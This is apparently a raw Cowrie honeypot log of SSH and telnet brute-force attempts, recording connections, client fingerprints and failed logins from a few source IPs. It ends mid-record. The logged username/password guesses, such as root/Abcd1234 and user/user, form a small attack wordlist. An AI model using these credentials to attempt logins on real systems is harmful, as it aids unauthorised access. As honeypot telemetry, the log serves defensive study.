{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:45.575475Z","src_ip":"91.92.42.133","session":"76ef2c16a22b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:46.966239Z","src_ip":"91.92.42.133","session":"76ef2c16a22b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:48.638111Z","src_ip":"91.92.42.133","session":"76ef2c16a22b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":50490,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcffa234f878","protocol":"ssh","message":"New connection: 91.92.42.133:50490 (159.203.135.109:22) [session: fcffa234f878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:53.617529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:53.689570Z","src_ip":"91.92.42.133","session":"fcffa234f878","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:53.767647Z","src_ip":"91.92.42.133","session":"fcffa234f878","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"12345678","message":"login attempt [crafty/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:54.134611Z","src_ip":"91.92.42.133","session":"fcffa234f878","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:54:55.262993Z","src_ip":"91.92.42.133","session":"fcffa234f878","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44996,"dst_ip":"159.203.135.109","dst_port":22,"session":"e134457f1d12","protocol":"ssh","message":"New connection: 91.92.42.133:44996 (159.203.135.109:22) [session: e134457f1d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:00.949642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:00.999382Z","src_ip":"91.92.42.133","session":"e134457f1d12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:01.089612Z","src_ip":"91.92.42.133","session":"e134457f1d12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd1234","message":"login attempt [root/Abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:01.385377Z","src_ip":"91.92.42.133","session":"e134457f1d12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:02.853596Z","src_ip":"91.92.42.133","session":"e134457f1d12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":32240,"dst_ip":"10.17.0.5","dst_port":22,"session":"e145587430df","protocol":"ssh","message":"New connection: 117.121.214.50:32240 (10.17.0.5:22) [session: e145587430df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:07.375916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:07.379965Z","src_ip":"117.121.214.50","session":"e145587430df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:07.621196Z","src_ip":"117.121.214.50","session":"e145587430df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":54306,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9e82439664e","protocol":"ssh","message":"New connection: 91.92.42.133:54306 (159.203.135.109:22) [session: a9e82439664e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:07.999800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:08.092285Z","src_ip":"91.92.42.133","session":"a9e82439664e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:08.104202Z","src_ip":"91.92.42.133","session":"a9e82439664e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hilda","password":"hilda","message":"login attempt [hilda/hilda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:08.617359Z","src_ip":"117.121.214.50","session":"e145587430df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456789","message":"login attempt [test/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:08.815861Z","src_ip":"91.92.42.133","session":"a9e82439664e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:09.861667Z","src_ip":"117.121.214.50","session":"e145587430df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:10.029663Z","src_ip":"91.92.42.133","session":"a9e82439664e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":57802,"dst_ip":"159.203.135.109","dst_port":22,"session":"1093e3f78cbc","protocol":"ssh","message":"New connection: 91.92.42.133:57802 (159.203.135.109:22) [session: 1093e3f78cbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:15.152424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:15.198278Z","src_ip":"91.92.42.133","session":"1093e3f78cbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:15.291534Z","src_ip":"91.92.42.133","session":"1093e3f78cbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:16.428853Z","src_ip":"91.92.42.133","session":"1093e3f78cbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:17.512527Z","src_ip":"91.92.42.133","session":"1093e3f78cbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":57858,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5e46ae2b117","protocol":"ssh","message":"New connection: 91.92.42.133:57858 (159.203.135.109:22) [session: e5e46ae2b117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:22.362942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:22.760789Z","src_ip":"91.92.42.133","session":"e5e46ae2b117","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:22.783785Z","src_ip":"91.92.42.133","session":"e5e46ae2b117","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:23.940751Z","src_ip":"91.92.42.133","session":"e5e46ae2b117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:25.043490Z","src_ip":"91.92.42.133","session":"e5e46ae2b117","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":34560,"dst_ip":"159.203.135.109","dst_port":22,"session":"510f630f4072","protocol":"ssh","message":"New connection: 91.92.42.133:34560 (159.203.135.109:22) [session: 510f630f4072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:29.793380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:29.957409Z","src_ip":"91.92.42.133","session":"510f630f4072","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:29.968206Z","src_ip":"91.92.42.133","session":"510f630f4072","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":54142,"dst_ip":"10.17.0.5","dst_port":23,"session":"191b9cceeab9","protocol":"telnet","message":"New connection: 172.81.62.90:54142 (10.17.0.5:23) [session: 191b9cceeab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:30.175076Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:30.580184Z","src_ip":"91.92.42.133","session":"510f630f4072","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:31.668856Z","src_ip":"91.92.42.133","session":"510f630f4072","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37124,"dst_ip":"159.203.135.109","dst_port":22,"session":"47e54086e789","protocol":"ssh","message":"New connection: 91.92.42.133:37124 (159.203.135.109:22) [session: 47e54086e789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:36.979017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:36.983933Z","src_ip":"91.92.42.133","session":"47e54086e789","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256"